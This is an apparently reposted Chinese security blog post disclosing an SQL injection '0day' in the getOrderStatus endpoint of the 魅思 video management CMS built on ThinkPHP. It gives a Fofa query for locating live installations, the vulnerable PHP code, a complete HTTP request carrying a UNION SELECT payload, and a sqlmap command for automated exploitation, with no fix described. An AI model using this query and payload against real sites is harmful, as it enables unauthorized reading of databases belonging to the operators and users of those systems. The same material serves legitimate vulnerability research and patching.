0x00 前言
Fofa:product="魅思-视频管理系统"
框架:ThinkPHP 5,6
0x01 漏洞分析&复现
位于 /controller/Api.php 控制器中的getOrderStatus 方法POST传入,然后直接拼接了 orderSn 变量到 where 查询中,导致漏洞产生.
/**
* 查询订单支付状态
*/
public function getOrderStatus(Request $request)
{
$orderSn = $request->post('orderSn/s', '');
if (empty($orderSn)) die(json_encode(['statusCode' => 4003, 'message' => '缺少请求参数:orderSn不能为空']));
$orderInfo = Db::name('order')->where("order_sn='$orderSn'")->find();
if (!$orderInfo) die(json_encode(['statusCode' => 4005, 'message' => "can't find the orderSn"]));
die(json_encode(['statusCode' => 0, 'message' => '', 'data' => ['orderStatus' => $orderInfo['status']]]));
}
Payload:
POST /api/getOrderStatus HTTP/1.1
Content-Length: 157
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: admin_token=6169XyCZ4aFgkoAJYWPrmlH5uKLQOLMi8CwWeC%2FK; PHPSESSID=tctb1jo24sk33pvb4hk350vk29
Host: 127.0.0.1
Origin: http://127.0.0.1:81
Referer: http://127.0.0.1:81/api/getOrderStatus
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1
x-requested-with: XMLHttpRequest
Connection: close
orderSn=') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),NULL,NULL,NULL,NULL,NULL-- -
python sqlmap.py -r a.txt --level=3 --dbms=mysql
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE
原文始发于微信公众号(星悦安全):某思CMS V10存在SQL注入漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论